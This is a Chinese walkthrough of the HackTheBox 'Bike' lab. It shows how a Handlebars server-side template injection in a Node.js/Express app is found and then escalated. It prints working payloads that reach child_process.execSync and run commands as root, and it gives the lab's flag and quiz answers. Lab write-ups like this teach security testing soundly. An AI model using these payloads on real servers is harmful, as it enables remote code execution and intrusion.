HTB-bike(SSTI模版注入)

前言

  • 大家好,我是qmx_07,今天给大家讲解bike靶场
    在这里插入图片描述

渗透过程

信息搜集

在这里插入图片描述
在这里插入图片描述

  • 服务器开放了 22 ssh 和 http80端口

Wappalyzer

  • 介绍:Wappalyzer是一种浏览器扩展程序,用于识别正在访问的网站所使用的技术栈和工具,比如使用的web框架,编程语言等
    在这里插入图片描述
  • 服务器所使用Express框架

发现SSTI模版注入

在这里插入图片描述

  • 可以看到这个输入框,用来输出 内容
  • 尝试xss攻击失败
  • 介绍:book.hacktricks.xyz 是一个在线技术知识库,提供有关黑客技术、网络安全和渗透测试的信息和资源,学习网络安全渗透知识
  • 由于前面Wappalyzer 搜集到编程语言是Node.js进行尝试SSTI模版注入
    在这里插入图片描述
    在这里插入图片描述
  • 输入{{7*7}}正确的返回值是49
    在这里插入图片描述
  • 服务器显示报错,信息显示使用的handlebars模版
  • /root路径 可能拥有更高的权限

SSTI模版注入

在这里插入图片描述

  • 使用hacktricks里handlebars模版的注入poc
    在这里插入图片描述
  • 对poc进行url编码,防止出现其他问题
  • 显示require函数 无法被调用,可能做了一些安全限制,尝试绕过
{{#with "s" as |string|}}{{#with "e"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub "constructor")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push "process;"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}
{{/with}}

在这里插入图片描述

  • process没有被禁用,尝试获取主函数
  • 在Node.js中,process是一个全局对象,它提供了对当前运行的Node.js进程的访问和控制
{{#with "s" as |string|}}{{#with "e"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub "constructor")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push "process.mainMoudle;"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}
{{/with}}

在这里插入图片描述

  • process.mainMoudle也可以调用,我们尝试间接调用require函数
{{#with "s" as |string|}}{{#with "e"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub "constructor")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push "return process.mainModule.require('child_process');"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}
{{/with}}

在这里插入图片描述

  • child_process模块提供了创建子进程的功能,可以通过该模块执行外部的系统命令
{{#with "s" as |string|}}{{#with "e"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub "constructor")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push "return process.mainModule.require('child_process').execSync('whoami');"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}
{{/with}}

在这里插入图片描述

  • execSync用于 命令执行相关函数
  • 服务器返回了账号名root
    在这里插入图片描述
    在这里插入图片描述
  • flag:6b258d726d287462d60c103d0142a81c

知识点讲解

  • 介绍:SSTI(Server-Side Template Injection)是一种Web应用程序中的漏洞类型,攻击者通过在模板引擎中注入恶意代码来执行服务器端的任意代码
  • 模版引擎是一种用于渲染动态内容的工具,常用于网页开发中的模板系统
  • 危害:敏感数据泄露、服务器端命令执行、远程代码执行等

答案

  • 1.服务器开放了TCP哪些端口?

22,80

  • 2.http端口运行着哪个语言?

Node.js

  • 3.web框架名称是什么?

Express

  • 4.通过{{7*7}}这种形式验证的漏洞叫什么?

Server Side Template Injection

  • 5.Node.js使用的模版是什么?

Handlebars

  • 6.burp编码的选项卡叫什么?

Decoder

  • 7.为了使用有效载荷,我们需要使用什么编码?

url

  • 8.在使用什么函数时,服务器响应未定义?

require

  • 9.在Node.js中最高的变量叫什么?

golobal(也就是全局变量)

  • 10.使用载荷后,用户名叫什么?

root

  • 11.flag是什么?

6b258d726d287462d60c103d0142a81c

总结

  • 我们介绍了book.hacktricks.xyz 技术网站,以及ssti模版注入,相关函数的调用

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/1522279.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

算法设计与分析:实验1 排序算法性能分析

1.常见排序算法分析 (1)选择排序 算法原理: 从数组 a[1--n] 中找到最小的元素,将其与第一个元素 a[1] 进行值的交换,这样数组中第一个位置就是最小的元素,即第一个位置变得有序。接着从数组 a[2--n] 中找…

Codeforces Round 969 (Div. 2 ABCDE题) 视频讲解

A. Dora’s Set Problem Statement Dora has a set s s s containing integers. In the beginning, she will put all integers in [ l , r ] [l, r] [l,r] into the set s s s. That is, an integer x x x is initially contained in the set if and only if l ≤ x ≤…

std::future和std::promise详解(原理、应用、源码)

在编程实践中,我们常常需要使用异步调用。通过异步调用,我们可以将一些耗时、阻塞的任务交给其他线程来执行,从而保证当前线程的快速响应能力。还有一些场景可以通过将一个任务,分成多个部分然后将这部分交给多个线程来进行并发执…

通过FFmpeg和URL查看流的编码格式

FFmpeg下载后会有三个执行文件,跳转到FFmpeg所在文件夹 查看视频流URL地址的编码格式命令: // 在下载ffmpeg的文件夹中执行如下命令,可查看流的编码格式,这里的测试流是H264编码ffprobe http://devimages.apple.com/iphone/sample…

华为打造“新能源航母”,能否挑翻BBA?

华为在汽车行业的动作,频繁让它聚焦在市场镁光灯之下。 前有享界S9陷入飞坡争议,后有智界R7即将登台,后面还有尊界等待亮相,一波又一波的操作令人眼花缭乱。在新能源浪潮之下,BBA的日子并不好过,华为及其他…

VMware Fusion 13.6 发布下载,新增功能概览

VMware Fusion 13.6 发布下载,新增功能概览 VMware Fusion 13.6 for Mac - 领先的免费桌面虚拟化软件 适用于基于 Intel 处理器和搭载 Apple 芯片的 Mac 的桌面虚拟化软件 请访问原文链接:https://sysin.org/blog/vmware-fusion-13/,查看最…

JDBC |封装JDBCUtils|PreparedStatement|事务|批处理|数据库连接池| Blob类型数据的读写|Apache—DBUtils简介

一.概述 在Java中,数据库存取技术可分为如下几类: JDBC直接访问数据库JDO技术(Java Data Object)第三方O/R工具,如Hibernate, Mybatis 等 JDBC是java访问数据库的基石,JDO, Hibernate等只是更好的封装了J…

单片机-初识单片机(keil安装以及编写简单驱动)(一)

目录 一、嵌入式介绍 1.嵌入式系统: 2.嵌入式操作系统 3.单片机: 二、STM32F103ZET6简介 1.单片机的组成: 2.单片机外观: 3.ARM公司 4.ST公司--意法半导体 三、资料部分 1.安装工具: 2.破解软件&#xff1…

哲学概述1(马克)

哲学题目大原则: 一、哲学与世界观 世界观:人们对于生活于其中的世界以及与世界关系的根本观点、根本看法方法论:是人们认识世界、改造世界的一般方法,是人们用啥样的方式、方法来观察事物和处理问题哲学:是理论化、…

最新车型库大全|阿里云实现调用API接口

整体请求流程: 介绍: 本次解析通过阿里云云市场的云服务来实现查询车型库大全查询,首先需要选择一家可以提供查询的商品。 [探数API]车型库查询_API专区_云市场-阿里云 步骤1: 选择商品 如图点击免费试用,即可免费申请该接口数…

使用合同比对工具时,有哪些常见问题和解决方案?

在使用合同比对工具的过程中,企业可能会面临一系列挑战,这些问题可能会影响工具的效率和效果。以下是一些常见的问题: 1.兼容性问题:在不同的工作环境中,合同文档可能以不同的格式存在,如PDF、Word、Excel…

常见接口限流算法

常见接口限流算法 今天面试时,面试官对我之前实习时实现的限流功能很感兴趣,发起了夺命连问… 正好趁此机会好好整理一下,很棒。 常用的限流算法 固定窗口 实现思想 固定窗口的实现原理是:在指定周期内累加访问次数&#xf…

BP神经网络学习内容分享:学习过程中常见的问题

BP神经网络是一种常用的机器学习算法,它在各个领域都有广泛的应用。然而,在学习BP神经网络的过程中,往往会遇到一些困难和问题。本文将介绍一些学习BP神经网络常见问题,并提供解决方法供参考。 一、过拟合问题 BP神经网络的一个常…

iPhone短信误删了?别急,这几招帮你轻松恢复!

在快节奏的生活中,我们频繁地使用iPhone进行各种操作,包括发送和接收短信。然而,有时候一个不小心,重要的短信就可能被误删,让人焦急万分。别担心,今天就来分享几个实用的方法,帮助你找回那些“…

VScode 使用记录

插件 1、代码提示插件:Codeium 安装说明:Codeium:强大且免费的AI智能编程助手 - Su的技术博客 (verysu.com) 用google账号登陆,跳转按照官网给的三个步骤来 step1:复制token; step2:在文件页…

重生之我们在ES顶端相遇第10 章- 分分分词器的基本使用

文章目录 思维导图0. 前言1. 光速上手1.1 指定分词器1.2 测试分词器 2. 分词流程(重要)2.1 基本介绍2.2 深入如何测试分词器 3. 自定义一个简单的分词器 思维导图 0. 前言 分词器在 ES 搜索使用中非常关键,一个好的分词器能够提高搜索的质量,让用户搜索…

mysql中的mysql 库不存在,进行恢复

mysql中的mysql 库不存在,进行恢复 解决方法: 关闭数据库 service mysqld stop 以跳过权限认证方式启动mysql mysqld_safe --defaults-file/etc/my.cnf --skip-grant-tables & 在输入:mysql -u root 在输入:use mysql 在输…

【C++ Primer Plus习题】9.1

问题: 解答: main.cpp #include <iostream> #include <string> #include "golf.h" using namespace std;#define SIZE 5int main() {golf ann;setgolf(ann, "AnnBirdfree", 24);golf andy;setgolf(andy);showgolf(ann);showgolf(andy);return…

JVM1-初识JVM

目录 什么是JVM JVM的功能 解释和运行 内存管理 即时编译 Java性能低的主要原因和跨平台特性 常见的JVM 什么是JVM JVM 全称是 Java Virtual Machine&#xff0c;中文译名&#xff1a;Java虚拟机 JVM本质上是一个运行在计算机上的程序&#xff0c;它的职责是运行Java字…

自建远程桌面RustDesk服务器(CentOS配置,保姆级案例)

安装环境: 系统:Centos7 网络:连接互联网 一、环境准备: ①变更国内yum源(方便安装包下载) 备份源文件 mv /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.backup 下载国内(阿里)源文件: curl -o /etc/yum.repos.d/CentOS-Base.repo htt…